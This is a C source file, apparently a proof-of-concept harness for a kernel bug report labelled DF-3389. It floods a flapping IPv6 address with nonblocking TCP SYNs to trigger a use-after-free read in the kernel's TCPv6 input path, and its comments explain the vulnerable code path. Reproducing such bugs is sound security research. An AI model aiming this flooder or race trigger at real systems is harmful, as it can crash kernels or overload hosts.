DF-3389 / flooder.c
/* DF-3389 race harness — unprivileged TCPv6 SYN flood to the raced address. * * Every connect() emits a SYN through lo0 -> ip6_input() which stores the * borrowed in6_ifaddr* into the packet m_tag (ip6_setdstifaddr) and defers * tcp6_input via lwkt_sendmsg(netisr_cpuport(0)). tcp6_input dereferences * ia6->ia6_flags (tcp_input.c:624-625) for EVERY segment, before socket * lookup, so SYNs to an unbound port fully exercise the claimed UAF read. * * Batched nonblocking connects: the raced address flaps (add/delete), so a * blocking connect() can stall ~75s in SYN retransmission when the address * vanishes mid-handshake. We fire batches of nonblocking connects and reap * them after a short poll, keeping the SYN rate high regardless of flapping. * * build: cc -O2 -o flooder flooder.c * run: ./flooder <seconds> [addr] */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <poll.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define BATCH 128 int main(int argc, char **argv) { double dur = argc > 1 ? atof(argv[1]) : 60.0; const char *addr = argc > 2 ? argv[2] : "fd99:3389::1"; struct sockaddr_in6 dst; struct pollfd pfd[BATCH]; struct timeval t0, t1; unsigned long n = 0, last = 0; double el, lastel = 0; int i, nf; memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; dst.sin6_port = htons(33890); if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) { fprintf(stderr, "inet_pton: %s\n", addr); return 1; } gettimeofday(&t0, NULL); for (;;) { /* fire a batch of nonblocking SYNs */ nf = 0; for (i = 0; i < BATCH; i++) { int s = socket(AF_INET6, SOCK_STREAM, 0); if (s < 0) break; fcntl(s, F_SETFL, O_NONBLOCK); if (connect(s, (struct sockaddr *)&dst, sizeof(dst)) == 0) { close(s); /* instant RST path */ continue; } if (errno != EINPROGRESS) { close(s); /* no-route etc: fast */ continue; } pfd[nf].fd = s; pfd[nf].events = POLLOUT; pfd[nf].revents = 0; nf++; n++; /* SYN left the socket */ } if (nf) { poll(pfd, nf, 30); /* reap quickly, flap-tolerant */ for (i = 0; i < nf; i++) close(pfd[i].fd); } gettimeofday(&t1, NULL); el = (t1.tv_sec - t0.tv_sec) + (t1.tv_usec - t0.tv_usec) / 1e6; if (el - lastel >= 5.0) { printf("flooder pid=%d rate=%.0f/s total=%lu\n", getpid(), (n - last) / (el - lastel), n); fflush(stdout); last = n; lastel = el; } if (el >= dur) break; } printf("flooder pid=%d DONE total=%lu\n", getpid(), n); return 0; } |